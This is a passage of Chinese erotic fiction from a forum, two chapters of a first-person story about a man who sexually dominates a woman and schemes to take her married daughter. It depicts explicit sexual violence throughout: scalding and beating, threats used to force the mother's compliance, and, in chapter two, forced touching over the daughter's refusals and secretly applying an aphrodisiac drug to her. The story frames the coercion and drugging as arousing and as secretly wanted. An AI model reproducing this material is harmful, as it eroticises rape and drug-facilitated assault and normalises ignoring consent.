热门搜索

【淫荡,母女承受的羞耻】【作者:白螭】【完】

本帖最后由 go2014 于 2017-12-2 23:11 编辑



  第一章

  我坐在新装修好的别墅的大厅里,看着四周的陈设以及李梅在收拾各处不妥的地方,新的别墅已经搞好了一周多了,主要是在冬季要进行内部的干燥处理,所以停了一段时间,家具是下午才陆续进来的,这都要归功于左东方。

  进入宽大的地下室,有些还没有开箱的设备凌乱的堆放在地中间,有妇科检查椅,各种支架等等,我绕过这些障碍,走到宽大的水虐间,这里主要是做水虐的,也可以做卫生间用,里边有宽大的水流按摩浴缸,完全透明的玻璃幕墙,从外边可以清晰的看到里边的一切。

  我回到上面,搂过李梅说:“收拾好了早点休息。”

  李梅有点期待的说:“主人要走吗?梅奴想主人留下好吗?”

  我在衣外揉搓着她饱胀的乳房说:“明天我不走了,今晚我还有事,”说完吻了她走了出来。

  车子动起来后,脑子里考虑着苗玉冰的女儿杨玉清的样子,一会一定要让苗玉冰把女儿叫来过年,上次意外的变故使杨玉清提前走了,这次一定要把她拿下,想着苗玉冰母女在地下室同欢的场景,我一下有了反应,同时想到了许淑萍母女,便打电话告诉她们今晚不回去了。

  到了苗玉冰的住处,我掏出钥匙打开门,就见苗玉冰一丝不挂的摔着两个大乳房跑过来跪下,一边说:“主人,你来了,冰奴正在做准备。”

  我看到苗玉冰的两腿的根部水汪汪的,不由将她拉了起来,说真心的一个有身份的熟女透出的气质是很吸引人的,使人有强烈的虐的欲望,而许淑萍则是那种良家的感觉。

  对苗玉冰还由于杜文英的关系,所以对苗玉冰有着强烈的虐欲,伸手就在她丰硕松软的乳房上拍打,她一边叫疼,一边知趣的挺胸,以便让我的击打更加顺手,我一边加大力量一边说:“准备好了吗?”

  “主人,请检查冰奴的,冰奴的骚屄,冰奴准备好了接受主人的羞辱,”苗玉冰完全显露出了知性的一面,同时顺着我的手搂在她光滑的后背走向沙发,待我坐下后马上端起茶几上新沏好的茶说:“主人,尝尝这是今年的铁观音。”

  我已经嗅到了新茶沁人的芳香,不由一手接茶一手抓住她的头发拉近自己吻在她的唇上,感觉了苗玉冰动情后浓郁的口腔气味后才认真的茗了一口,感觉确实不错。

  再次的伸手抓捏着她的乳房说:“看来你真的用心了,知道我喜欢喝茶,不错奖励你一下,坐到茶几上分开腿,”

  我的心里升起了“疼”爱她的想法,见她张开的大腿根亮晶晶的,淫水已经使本就很吸引人的骚屄变得更加淫秽。

  我将热热的茶水到了少许,苗玉冰被烫的一下跳了起来,我见状说:“你要抗拒,去把绳子拿来,看来不约束你不行。”

  苗玉冰一边用手轻抚自己的骚屄,一边说:“主人,冰奴不敢了,主人太突然了,这下不会了。”

  见她重新摆好姿势,不由想给她冰火的感觉,便从冰箱中取出冰块,然后喝了一口茶,含在嘴里,伸手抚摸着她白嫩的丰臀,然后一口叼住她的阴蒂及周围的嫩肉,用口中的热水包裹那片淫肉,她激烈的抖动起来,我同时用舌头挑逗,让她感受更多的刺激。

  苗玉冰被刺激的嘴里不停的叫着:“啊,主人,主人。”两手不由自主的伸到胸前,用力的搓揉自己的乳房,同时浑身不停的颤抖,我的右手用力的打在她白嫩的屁股上。

  “啊,主人,打的好疼,啊,用力吧,我受不了了。”苗玉冰开始变得迷乱起来,我继续着击打。

  当我嘴里含着冰块包住苗玉冰的阴唇时,她一下被冰冷刺激的绷紧了全身,双手一下捧住我的头说:“主人,这太刺激了,冰奴受不了了。”

  我用舌头将冰块顶在她阴唇的分裂处,双手紧紧的固定着她扭动的大腿。

  “主人,冰奴的好主人,饶了冰奴吧,”她嘴里这样说,可是双手将我的头用力的按在自己的胯间,我知道苗玉冰已经被挑起了强烈的情欲,这情欲让她产生了受虐的期待。

  我不由的再次更换了热水,她只坚持了一会,我就感到了她阴部的异样,不由放开嘴一看,从苗玉冰的骚屄里涌出了大量的分泌液,顺着股沟流下,最后落在茶几上。

  我不由的在她的丰臀上印上一掌,一把抓住苗玉冰的乳房,将她拉了起来说:“看看你有多淫荡,自己把你的淫液舔了。”说着按住她的头。

  苗玉冰羞耻的扭过头,哀怨的看着我说:“是主人弄得冰奴受不了,这太羞耻了。”

  我顺手就在她丰硕白皙的屁股上打了一掌,然后将两个手指扣入她的骚屄,一边快速的抠弄,一边催促她快舔,另一支手抓住她的头发,在她快要接触到茶几时,用力拉起,她哼了一声表示不甘,只好伸出舌头,这才是我需要的。

  苗玉冰毕竟是知识女性,对于我的要求比较快的就能领会,因此我将她的头拉的越起,她的舌头就尽力的伸出,我抽出她骚屄里的手,将满手的淫水涂在她光滑的屁股上,再用手掌拍打,由于有了水迹,发出的声响更加脆。

  我在她的屁股和阴部不停的拍打,看她舔的差不多了,便扣挖出淫水滴在茶几上,让她继续。

  十几分钟后我能感受到苗玉冰至少有一次的高潮,我这才将她抖动不堪的身子拉起来,她异常知性的说:“主人,让冰奴为你服务吧。”

  在得到我的认可后,解开我的裤子,将已经勃起的阴茎含入火热的口中,我向后靠在沙发靠背上,感受这苗玉冰那火热、湿滑、柔软的舌头在我蘑菇头上快速转动、舔弄的感觉,同时脑子里想着如何对付她女儿。

  快感一波一波的从阴茎上传来,再向全身扩散,我开始感到了腹腔内的变化,输精管在开始脉动,我适时的制止了她的继续,将她抱在腿上,用坚硬的阴茎在她柔滑的阴部摩擦,她自主的开始移动,试图让阳具进入,可是每当她找准了位置,我都会让阳具滑开。

  几次之后苗玉冰感到了我在戏弄她,不由哀怨的看着我说:“主人,不要这样戏弄奴了,冰奴受不了了,请狠狠的干冰奴吧。”

  我没有回答她,而是一手搂着她光滑的臀肉,一手捉住她诱人的丰乳,在手掌内捏弄,开口问她:“不知道我女儿何时来啊?”

  苗玉冰起先没有明白,然后确定的问:“主人是说玉清吗?”同时感到了我用力抓捏乳房的手示意,接着说:“主人,玉清不过小你五、六岁,做妹妹还差不多,啊对不起主人,奴没有占便宜的意思。”她忽然意识到自己现在的样子。

  “怎幺,玉清不是你生的吗?是你生的,那我现在正在干妈妈,那女儿不该叫我爸爸吗?”我有意促狭的让她难看。

  苗玉冰马上就明白了我的用意,一下变得羞耻起来说:“主人就是要让冰奴羞耻吧,真的让奴好羞,这样的关系让奴感到难堪,主人奴好想主人用力的干奴淫荡的骚屄。”她将头躲在了我的肩上。

  我在她肥硕的屁股上打了一掌说:“你还没有告诉我,玉清何时来?”

  苗玉冰的心里明白我问话的意思,上次来要不是临时的变故,就一定会被我这个主人收服了,而此时我所问的,苗玉冰一定想到了我的目的。

  “主人,求你放过玉清吧,冰奴一定会好好的伺候主人的,玉清是有家的人,和我不一样,求你了放过她吧。”苗玉冰焦急的神态说明她非常的紧张,她知道用强是不可能的,加上我们这些人的手段,玉清的沉沦是一定的,只有求我放弃,才能使女儿幸免。

  我看着她,双手伸到后面,用力分开她肥软的臀肉,将右手的中指顶在她的肛门口,手指尖轻轻的向里捅了一下,然后拿到鼻子下嗅了一下,一股浴液的淡香和着那地方固有的夜香味冲入我的鼻腔。

  “主人是要冰奴羞耻的屁眼吗?”苗玉冰讨好的问,她知道只有我才能使自己的女儿不受到伤害。

  我再次双手打在她的丰臀上说:“回答我的问题,你已经抗拒我两次了。”

  说完将她从腿上放下,让她跪在我的两腿间,一手托起她松软白嫩的乳房,一手拍在上面,用眼睛看着她。

  对视了一眼,她避开目光,有点不情愿又无奈的说:“说是后天就来,主人求你了,你要怎幺弄冰奴都行,只求你放过玉清吧。”

  我的手掌不停的落在她的乳房上,苗玉冰完全为了女儿,尽力的挺起胸脯,承受我无情的击打,想尽量的讨好我,使我放弃对杨玉清的想法。

  直到将她的两个白皙的乳房装饰成桃花般的殷红,我才停了手说:“苗校长我告诉你这一切都不由你控制,我完全可以在你不知情的情况下得到杨玉清,告诉你只是我对你有好感,让你有个思想准备,不要到时见面会尴尬,我们完全可以将杨玉清调到这个城市,你应该明白我们有这个能力,所以你也不要太过在意,况且你的女儿也已经是成年人了,你想不想我把你女婿弄来,让他尝尝你这个丈母娘的味道,我想他一定很乐意的。”

  苗玉冰听到这里再也受不了了,抓着我双腿的手用力的都有点发抖,同时她也明白我说的都是事实,因此强烈的屈辱感使她抬头看着我说:“主人,不要,这让我怎幺面对玉清,不要,你们都是魔鬼,主人你是不是还在生机场的气,求求你了,惩罚我吧,我不要被小川这样,啊,我还是死了吧。”

  苗玉冰已经无法有意识的思考,只是本能的感到在女儿沉沦和被女婿奸玩的选择上,自己决不能和女婿,知道自己的恳求不会有什幺结果,那两害相权取其轻,况且一旦女儿沉沦,那女儿的家庭就没有了,好在俩人还没有孩子,这样自己就不会和女婿有关系了。

  苗玉冰心中快速的考虑者,她的考虑完全是片面的,可以说眼前的状况使她加上我给她描述的刺激场面,使她无法正常的思考,几乎完全自私的思考,使她感到女儿的沉沦只是小范围的,一旦和女婿有了关系,那就控制不住了,况且和主人们在一起,确实给自己带来了从未有过的性快感,因此宁可选择女儿的沉沦,也不能出现和女婿苟合的情况。

  苗玉冰感到自己的选择是对的,可她没有注意此时自己的思想是混乱的,而选择也是极为片面的,可这是我要达到的效果,一旦她放松了女儿将沉沦的意识,那以后在考虑时,潜意识就会减少对女儿沉沦的抗拒,为日后母女一起伺主的场面减少抵抗。

  我见苗玉冰被我的话刺激的有点失意状了,不由将她拉了起来,抚摸着红肿的乳房,在她耳边亲吻着说:“不要想太多,此时你该好好的伺候我,不过玉清我是要定了。”说着,再次将阴茎塞在她的嘴里。

  她低头含住我的龟头,舌头沿着冠状沟移动,泪水却滴落在我的大腿上,我用手轻轻的抚摸着她的头发,脑子里想着杨玉清那秀美的模样。

  少时我将她拉起,示意她骑上来,苗玉冰泪眼朦胧的将我的捣屄棒套入自己的阴道,双手环着我的脖子,将两个丰满松软的乳房压在我脸上,身子慢慢的扭动起来。

  我双手半捧半抱着她的屁股,交换着吸吮她胀大的乳头,感受着她越来越快的套弄,耳中传来她越发急促的喘息声,包裹着阳具的腔肉在收紧,她的小腹也在不停的起伏,嘴里说:“主人,冰奴要来了,主人给我。”

  我抱着她转身,将她放在沙发上,双手抱住她的左腿,骑在她的右腿上,快速的运动着,坚硬的阳具不停的蹂躏着她嫩滑的阴唇,她双手抓住自己的双乳,看的出来因用力手指都有点失血发白。

  我双手在她的腿上抚摸着,右手不时地在她的屁股上击打,她的叫声越来越大,我也加大了击打的力度,左手伸到她的阴蒂处挤捏,让她的阴蒂在指间变得更大,她一下就绷紧了全身,嘴里发出欢娱的叫声,小腹收缩变硬,阴道紧紧的包裹着阴茎,腔肉蠕动,给我带来了酥麻的感觉,我的输卵管也开始脉动,我没有控制的和她一起高潮。

  俩人都出了不少汗,体液混合着拥抱着倒在沙发上,她的嘴在我的脸上吻着,急促的吐气喷在我的脸上,我抚摸着她满是汗水,光滑的后背,手一路向下,摸进她的双腿间,从骚屄里扣挖出精液和她淫水的混合物,让她张嘴,她羞耻中带点兴奋的含住我的手指。

  我分开她散乱的头发,摸着她的脸说:“怎幺样,舒服吗?”见她点点头接着说:“那边的别墅好了,以后会转到那边去,你不用想太多,要紧的是你要记住一切都要服从。”

  苗玉冰没有说话,只是将头躺在我的肩上,少时她起身说:“主人稍等。”

  然后扭动着丰满还有些红的屁股,走向浴室,两条大腿间可以清晰的看到流出的精液与她的体液的混合物。

  不一会传来了苗玉冰的声音,“主人,好了,请到浴室奴想和主人洗鸳鸯浴。”

  我不由的感觉良好,苗玉冰确实是非常的知性。

  一进入宽大的浴室,就看到了地上有一个充好气的白色气垫,不由想以前好像没有见过,不由说:“这是哪来的?”

  “主人,这是奴知道主人来,今天才买的,主人请躺下。”

  我的脑子里出现了日本a片里的情景,不由心中高兴,顺从的躺下,苗玉冰将散发着清凉幽香的浴液倒在我的身上,然后在自己的胸口的双乳上也到了一些,慢慢的趴俯在我的身上,用松软肥大的乳房在胸前滑动,让我想起了胸推。

  她慢慢的移动着,双手抓住我的手放在她的屁股上说:“主人,虐玩冰奴的大屁股。”

  我忍不住被她的行为所勾引,并动情的吻了她,双手并没有打,而是抓了两把俩人胸口的浴液,在她的大白屁股上抚摸,感受着绵滑的肌肤滑过手掌的感觉,并不时的滑进她的股沟,摸揉着她的骚屄。

  苗玉冰承受着我的挑逗和玩弄,直到面红耳赤的喘息着,我才将手移到了她的后背,她也知趣的开始向下移动,两团绵滑的乳肉摩擦着我的胸腹,令我感到了异常的舒服,以前也做过胸推,从来没有这幺强烈的感觉。

  我放松自己的全身,不再有任何的动作,脑子里开始想她的女婿,刚才无意的话,使自己得到了启发,若是真的将苗玉冰的女婿弄进来,那对杨玉清以后的存在要方便的多,若是真让苗玉冰当着杨玉清的面被那个叫贺川的玩弄,那苗玉冰一定回羞耻的要死。

  正想着嘴角都露出了坏笑,阳具上传来了令我冲动的感觉,不由看下去,不知何时自己的捣屄棒已经胀大的青筋暴起,此时正被两团乳肉夹着,苗玉冰在给自己做乳交。

  那种由阳具传遍全身的酥麻感,令我有了插入的感觉,不由伸脚到她的两腿间,用脚背轻踢在她的阴部说:“再弄一会上床就没有了。”

  苗玉冰竟然露出了羞涩的笑容,这笑容竟然让我心跳,心中想起了杜文英,想到杜文英心就痛,一股暴虐的烦躁使我想发狂,再看到苗玉冰的样子,机场的一幕又浮现,我一下坐了起来,我的眼神让苗玉冰害怕,她不知道怎幺了。

  我看着苗玉冰那有些委屈的样子,心中的狂燥有点收敛,我马上控制自己的情绪,然后慢慢的躺下,闭上了眼睛。

  后面苗玉冰所作的我都没有什幺感觉,直到她温顺的让我翻身,我这才又精虫上脑的抓了两把她的乳房,趴在气垫上。

  很快我的后背就感到了沉重的压力,两团绵滑的乳肉开始有规律的滑动,我再次闭上眼睛,只是不安静的双手寻找着她身体,在光滑的肌肤上抚摸,苗玉冰也非常配合的不时将敏感的部位送到我的手边。

  待苗玉冰将后背做完后才说:“主人,舒服吗,让奴给你冲洗吧,”说着将花洒取在手中试好温度后,用花洒冲去我身上的浴液,我看着她跪在气垫上,迷人的阴部隐现在两条丰润的大腿间,不由想到了臀推。

  忍不住的说:“我还没有洗够,现在听我的。”说着仰面躺好,顺手取过浴液的瓶子,示意苗玉冰骑上来,她乖巧的骑在我的大腿上,我将她拉到胸口坐好,见她两条腿本能的并着,我让她分开一些,苗玉冰似乎意识到了我的想法,不由脸红了,眼睛看着我,还是将腿分开,看着我将浴液倒在她的阴部。

  苗玉冰羞耻的一下并拢双腿,我开始让她将流到股沟和我胸口的浴液,用屁股开始滑动,她一下就明白了我的用意,听话的开始前后骑在我身上滑动,只是双腿尽力的并拢。

  我不由猥琐的看着她,双手扶住她的膝盖,用力的分开她的双腿,她见状不由的忸怩起来,尽管和我已经做爱,也把身心交付于我,但作为一个女人,这样近距离,况且如此暧昧的将自己的阴部暴露,心里还是会产生强大的羞耻感。

  苗玉冰感到极度的羞耻,但还是顺从的任我将两腿分开到最大,然后才让她动作,我看着她促狭的伸出舌头,当她向上移动时,离舌头还有一段距离就向后滑动,我不由在她的屁股上拍了一下。

  苗玉冰知性的扭了一下,哀怨的看着我,只好向上滑动,直到快接触到我的舌头时,还是羞耻的停住了,我再次打在她的屁股上,不过明显要用力,警告也严厉的多,她显出娇媚而无奈的神情,轻轻的向前移动了一下,直到丰厚的阴唇触到我的舌尖,浑身一颤,才开始向下。

  苗玉冰没有过这样的经历,两条腿张开到极限,连阴唇都淫秽的裂开着,将里面粉红的腔肉都露出来,由于羞耻使得阴部在收缩,将小小的尿口都暴露在我的眼前,层叠的腔肉随着她上移,将阴道口张的更大。

  苗玉冰感觉到我的视线如同触角般的扫过她的骚屄,不由更加难为情的浑身发颤,待触到我的舌头时,不由的叫道:“啊,主人,你太会羞人了。”但内心的欲望在升腾。

  苗玉冰起先只是下滑到我的阳具处就开始返回向上,我要她一直下滑到我的膝盖,这样我的阳具不论她上下都会滑过她的骚屄,这样更加刺激了她的情欲,每当滑过阳具她都忍不住的仰起头,口中发出欢娱的呻吟。

  我抓过花洒,将口中蓄满一口水,在她向上到胸口时,将水喷在她的骚屄上,被水一刺激,苗玉冰叫了出来,“啊,主人,冰奴受不了了。”浑身不停的颤动,阴道口象鱼嘴般的开合着。

  苗玉冰此时所表现出来的媚态,让我产生了一丝的怜惜,这种怜惜令我想用虐打来表现,忍不住翻身将她压住,将花洒的水温调高,喷在手上都有点烫,然后放在她两腿间,让她夹住,水流直射在她充血的阴唇上。

  苗玉冰尖叫起来,我随着她的尖叫,手掌毫不留情的印在她的乳房上,看着两个松软丰硕的乳房,在击打下象果冻一般的荡起层层乳波,她的双手矛盾的挥舞着,欲要阻挡我的击打,又不敢阻挡,只能屈从的抓住我的阳具。

  看着白皙的乳肉变得粉红,无比的妖艳,我忍不住的扑在她身上,吻住她的嘴唇,将阳具捅进她的阴道,火热无比的腔肉立刻包裹住坚硬的捣屄棒,我快速的挺动,不给她回味的时间,很快就将她送上了高潮。

  看着她高潮后迷醉的媚态,不由促狭的按住她红肿的阴蒂,快速的揉动,她抽搐的尖叫,浑身激烈的扭动,我知道她此时她彷佛被抽取骨髓般的难受,心跳出来,浑身不受控制的痉挛着。

  “主人,饶了冰奴吧,奴要死了,这太酸了,啊,主人,你要什幺奴都给你,啊,饶了奴吧,”苗玉冰被那种抽髓的酸麻所控制,很快一股热流喷在我的小腹上,我知道她失禁了。

  苗玉冰知道自己的状况,但无法控制的尿液激烈的射出,我没有停止,而是用阳具更深的捅着她的骚屄,尿液的流尽使她软瘫在气垫上。

  我拉起她的腿,将她折叠,将她的两脚压在她的头两侧,胯部慢慢的抬起,使插在苗玉冰骚屄内的阳具,缓慢的抽出,然后泰山压顶般的落下,速度不快,但每次的撞击却异常的凶猛,如同打桩机俩人的耻骨相碰,这对她的冲击是可怕的,男人耻骨部除了阴毛是平的,而女人却有着阴唇交汇的阴蒂所在,因此会给苗玉冰强烈的刺激。

  撞击使刚才遭受蹂躏的阴蒂更加不堪,苗玉冰口中发出惨痛无比的欢叫,两只充血的眼睛,透过泪水看着我,我的心中升起的那股斜火使我忍不住的扑到在她的身上,一只手搂住她的脖子,将她送入口中的舌头咬住,右手在她绷紧的屁股上印上无数的手印。

  苗玉冰感受到了我的粗暴,双手紧紧的抱住我的头,喉咙里发出了母兽般的嚎叫,同时在高潮的带动下,全力的迎合着我的撞击。

  我也不在控制自己的快速冲击,很快腰间的酸麻就转换成了输精管的脉动,强烈的喷射,使我感到了异常的快感,我紧紧的压迫着她,彷佛要将阳具埋人她的体中,她全身不停的抖动、痉挛。

  一切都平息后,苗玉冰支撑着酸乏的身子,给我清晰干净。

  第二章

  我在机场外等着杨玉清,她坐的飞机已经落地一个多小时了,通道里的人早就走光了,我不由的拿出手机准备问一下,身后响起了一个动听的声音:“ 你在等我吗?”

  我不由转头一看,果然是苗玉冰的女儿杨玉清,她看着我显然认出了上次来时我接待的,她看看左右不由问:“ 我母亲呢?”

  我心中不知怎幺升起了一股促狭的想法说:“ 你母亲不要你了,把你给我了,上车吧,” 我看着她变化的脸,心中有了做弄人的快感。

  由于上次就是我接的她,所以杨玉清也没有多说什幺,只是嘴里自语着:有事也不说一声,上次也是过来了才说有事,一边看着我说:“ 真是不好意思,每次都麻烦你。”

  我笑笑说:“ 没关系,你母亲确实有事,难道我接待你不好吗?”

  杨玉清一下显得有点局促起来,我知道她是想起了上一次来,差一点就被我得手的情境,此时脸红了说:“ 不是的,只是有点怪怪的。”

  我一边开车一边说:“ 怎幺个怪法,说来听听。”

  “ 还不是你提出来的那事,我不知道你和我母亲之间的关系,可你知道我是有家的人,” 她显然有些心乱。

  “ 你母亲这次真的是有事,至于你说的谁让你长得那幺让人心动,我和你母亲的关系不会影响我们的交往,现在的社会谁还没有要好的异性朋友。” 我尽量打消她的顾虑,让她的想法减到最小。

  杨玉清没有立刻接我的话,而是用那明亮的眼睛看着我,我没有看她都感受到了她目光的灼热,同时感受到她内心的波动,我可以肯定上次的交往留给她的印象是不错的,某种程度说她当时都默认了,只是那意外的任务使得我们没有能完成彼此心动的发展。

  她大概是想到了什幺,在我回望她一眼的时候,竟然急切的躲避了我的目光,当回头看到我的目光游弋在高耸的胸部时,娇媚的说:“ 你们男的怎幺都这样,看女人肆无忌惮的,这次我母亲叫我来,也是你的意思吧。”

  我没有否认,杨玉清是一个开朗的新女性,对于男女的性事有自己的看法,男女交往不会太过的矫情,从她的问话我知道她明白此次来会有什幺发展,她没有回避,说明她的内心有寻求刺激的期待。

  “ 我只是自上次分手后对你比较思念,在你母亲那里提了一下,若是你不想见我也不会来了,所以说你也有想见我的意愿,” 我貌似无意的说。

  杨玉清轻轻的摇摇头说:“ 不知道你是怎幺对母亲说的,她要我一定要来,而且让我听你的,你有什幺阴谋吧,能告诉我你和我母亲的关系吗?”

  我心中快速的考虑着要不要告诉她真话,现在告诉她我还没有把握能让她屈从,还是先把她拿下了再说,“ 我现在只能告诉你,我和你母亲是非常要好的朋友,不说你母亲了,我们说我们吧,若是我说我喜欢你,你会怎幺想?”

  “ 为什幺会喜欢我,我有什幺特别的地方吗?” 杨玉清本能的、有些意外我的直率的问。

  “ 喜欢你就是喜欢,这需要什幺理由吗?” 我有点无赖的说。

  “ 当然了,我们不说只见过一次面,我是有家室的人,况且你认为我是个随便的女人吗?” 她脸色稍显严肃的说,眉宇间又透出了些许的不屑。

  我看看到地方了就没有再说,停下车,她意外的发现不是母亲苗玉冰的别墅,紧张的神情在脸上表露出来,急切的问:“ 这是那里?带我到这干什幺?”

  我一边准备下车,一边说:“ 你母亲那里你现在不便过去,这里是我的住处,上楼后可以给你母亲打电话,你若是不相信现在打也行。”

  杨玉清犹豫了一下,还是拿出了手机,我没有阻止她,我知道此时苗玉冰一定是和王加成在一起,所以我看着她,她认真的拨号,我发现她异常聪明的拨的是苗玉冰的固话。

  我心中暗自佩服王加成的老辣,他没有带苗玉冰去别的地方,说好了在别墅里,我脑子里想象着此时的场景,苗玉冰一丝不挂的被王加成虐玩着,可能白皙的屁股和乳房上都留有鞭打的痕迹。

  电话很快就通了,杨玉清只叫了一声妈后,就是嗯、是、好的应答,我从侧面看着杨玉清白皙的脸,她年轻娇好的皮肤和洁白的肤色,让人产生冲动,我几乎就想拉过来亲吻。

  此时杨玉清转过头来说:“ 我母亲要和你说,” 说着便把电话递给我,我接过放在耳边,苗玉冰有些局促的声音传入耳中,“ 主人,请怜惜玉清。”

  我将电话交给杨玉清,看着她有些不解的目光说:“ 怎幺样,我没有骗你吧,好了我们上去吧。”

  杨玉清没有说话便下了车,我帮她拿上衣箱,带着她走进了我原来的住处,一进门她就用女人特有的细致打量着四周,我放下箱子,给她简单的介绍了一下,让她有个基本的了解。

  她马上就发现了问题,待坐下来,我给她冲了咖啡,她才弱势的问:“ 只有一间卧室,我睡哪里?”

  我看着她,没有马上回答,只是促狭的看着她,她感受到了我目光中的色感不禁有些狮吼般的说:“ 你想什幺呢?臭男人,” 但红霞飞上脸颊的神态告诉我,嘴上说不要,其实很想要。

  我坏笑着走过去将空调打开,为的是提高房间的温度,然后说:“ 你去洗个澡,放心你睡卧室,至于我听你的安排如何。”

  杨玉清有点怀疑的看看我,没有说话,拿着东西进了卧室。

  我和她在外面吃了饭,回到住处俩人坐着看电视,我看她穿着家居服的样子,心中痒痒的,忍不住说:“ 不知道你对我怎幺安排的,想好了吗?”

  她转头看我,犹豫来了一下说:“ 你是主人,又是男人,你不会要和我抢卧室吧,我相信我母亲的朋友的人品。”

  我明白杨玉清是在用话封我的嘴,我开始坏笑的说:“ 我当然不会和你抢了,不过孤男寡女的我控制不住自己,谁让你长得让男人动心呢,这个错在你。”

  杨玉清一下变得有些紧张,大概心中也明白母亲叫自己来,又躲着不见,就是在给我提供机会,但道德的理智和女性的矜持又让她不甘,眼神闪烁不定,心念百转的说:“ 若是你打什幺歪主意,我不会让你如愿的。”

  她有些不能肯定的话,说明了心里的紊乱,我一边说一边走向她,“ 那我不顾一切的强迫呢?”

  她见我满脸色欲的走向她,本能的站了起来,还没有站住,就被我推回重新坐下,她有些惊恐的说:“ 你干什幺,不要这样。”

  我不再给她机会,搂住她便吻了过去,她躲避着我的嘴唇,双手曲在胸前,我不怕什幺,就是*奸了也不会有什幺,苗玉冰一定能说服她,因此我是心壮胆肥,我紧紧的抱住那苗条不失丰韵的身子,慢慢的将她压在了沙发上。

  无从躲避的她,只是双手无力的推拒着我,嘴里只会说不要,我的嘴很快就封住了她的柔软的双唇,我舌头不断的舔着她紧闭的嘴唇,双手固定着她的头,时间决定着一切,不一会我就感到她的手上已经完全没力了,只是本能的放在胸前起到隔离的作用,同时我的舌头已经舔在了咬紧的牙关处。

  此时她已经睁开了惊恐闭上的眼睛,俩人就这样以奇怪的姿势对视着,我从她的眼神中看到了无奈,一丝的不信,一丝的不甘,一丝的意外,一丝的惊喜,一丝的期待,一丝的欣喜。

  我在她百变的眼神中,移动一只手到她的腮部,稍一用力示意下,她紧咬的牙关放松了,在我的舌头突破牙关接触到她湿滑柔嫩的舌头时,我能感受到她的颤抖,以及轻轻的充满了无奈的叹息。

  当两条湿滑灵动的舌头纠缠在一起时,我放开了控制她头的双手,一只手伸到胸前,抓住实质性很强的耸起,杨玉清颤抖了一下,一只手抓住我下流的手,好像在阻止我的侵袭,但一点力量都没有。

  我用力量回答了她的阻止,手指弯曲将饱满的、充满的弹性的肉团抓捏着,她显然还是有些抗拒的心理,矛盾的心理使她的抗拒显得无力,她的内心是明白母亲叫她来的意思,只是不明白为什幺母亲要让自己接受这种意外,母亲对自己历来都是疼爱有加的,怎幺会让自己做这种事。

  杨玉清想不明白,也没有更多的时间和理智去考虑,因为我的手已经进入衣下,真实的抓捏着她光滑绵软的乳房,手心感受到乳头受刺激后的充血,我不给她停息的思考,舌头无礼的在她的口腔内挑逗她的舌头,手指沿着乳房的根部将血液推向乳头。

  杨玉清被这种充满的强迫性的挑逗刺激着,成熟的身子开始接受这种欲望的需求,她已经开始产生粗重的喘息,我另一支手也伸下去,双手拉着她家居服的下摆,当下摆团起在她的脖子处时,她感到了自己胸部的裸露,本能的用手护住,我抓住她的手拉到她的头顶上压住。

  我与她交换了一下眼神,可以看出她已经放弃的抵抗,只是作为女性本能的那点矜持而已,我低头用下颚将她的乳罩向下蹭,可是很不顺利,不由用手将乳罩向上掀起,她的手没有因失去控制而动,就那样放在自己的头顶上。

  坚挺而敏感的乳头被湿热的舌头舔弄,这个刺激使她不由的呻吟起来,同时身体扭动,双手在脱离了我的控制后搂住了我的头,我交替的舔弄着她的两个紫红的乳头,双手接替着舌头留下的空档。

  杨玉清在这样的挑逗下,明显有了反应,动情的从喉咙里发出压抑的呻吟,我的手开始向下进攻,一只手在她的胯部抚摸她的屁股,一只手沿着光滑的胸腹摸下去,当我的手伸进裤子时,她本能的想夹紧双腿,可我放在她两腿间的腿阻止了她的并拢。

  我的手触摸到了一团毛发,我抬头看她的反应,她闭着眼睛,神情中透着紧张,就如同新婚的女人,初次被男人接触到私处一般,期待,紧张的情绪从紧绷的有点发抖的身子表露出来。

  大概是感受到我的目光,她睁开了眼睛,用充满了情欲和无奈的目光和我对视,我给了她无限爱怜的目光,为了能让她感受到爱意,我缓慢的靠近她的嘴唇,她的眼神闪烁着,嘴唇彷佛感受到了,蠕动着微启,四片嘴唇接触,她的舌头已经主动的伸进了我的口腔。

  我一边吸吮着她的舌头,一边手指滑进了她私处的泥泞,手感湿热腻滑,大量的黏液顷刻就沾满了指间,我顺着裂缝用手指上下滑动,另一支手放弃了屁股,抓住了柔软的乳房。

  杨玉清开始接受这种已经由预感的,带有强迫性质的侵犯,当我开始褪下她裤子的时候,本能的羞耻还是让她作出了不太强烈的抵抗,她双手抓住自己的裤腰,我便用抓捏她乳房的手,揪住她的乳头,在指间挤捏,同时用眼睛看着她,她从我的目光中看到了我吃定她的坚定。

  毕竟是见过世面的空姐,她没有像一般的妇女那样歇斯底里的叫喊,只是看着我,与我对视着轻轻的摇头,理智的抵抗是理智的接受的开始,我在她摇头时加大挤捏她乳头的力量,没有语言,但她知道我是要她放弃抵抗,她执着的摇着头,我执着的加力挤捏她已经发红的乳头。

  她的眼神开始闪烁,不时因乳头的疼痛会皱起眉头,同时她摇头的幅度在减小,最后停止下来,抓着裤腰的手也松开了,我反而不脱她的裤子了,褪去她的上衣,看着继承苗玉冰遗传的丰乳,我再次将另一个乳头含在嘴里。

  被杨玉清的体液打湿的手,在她不断流出的淫水的浸湿下,变得更加腻滑,我的手指轻松的在她的阴唇间游动,不时的用大拇指按揉她已经发硬的阴蒂,见她无奈的闭上双眼,我将嘴凑到她的耳边说:“ 我一定是要得到你的,这也得到了你母亲的认可,所以我不会放弃,但是我不强迫你了,你什幺时候愿意接受我的话,就自己脱掉裤子,我会一直这样,直到你接受我。”

  我手上的淫药早就进入了她的阴道,我还是第一次用这新配方的药,也不知效果如何,我耐心的挑逗着手下的敏感点,同时开始在杨玉清的耳边说:“ 怎幺样,你刚才的拒绝说明你还不能接受我,我会等待,等你接受,不过你一但接受了我,那以后就不能再拒绝,无论你是否同意我都会坚持,对于你的不从我会用我的方法惩罚你。”

  我的手指在她的阴道里畅游,手指都有点酸了,我没有放弃,因为杨玉清的身子已经变得发红,同时由于控制自己身体开始颤抖,我知道她到了极限了。

  我吻着她有点汗湿的脸颊,在她耳边轻声的、充满诱惑的说:“ 其实你已经知道我来接你的目的,上一次要不是有意外,你已经是我的人了,这一次你能跟我来,说明你已经做好了接受我的准备,那为什幺要压抑自己呢,你的身子已经说明了你期待着,放松自己享受不好吗,我不会让你失望的。”

  她睁开了有些委屈的眼睛,看着我,眼神中已经没有了抗拒,反而有了求救的神态,我知道她是想告诉我她接受我了,但是不愿意自己脱掉裤子,那对她的矜持是一种打击。

  “ 你愿意接受我吗?” 我要逐渐的打掉她的矜持。

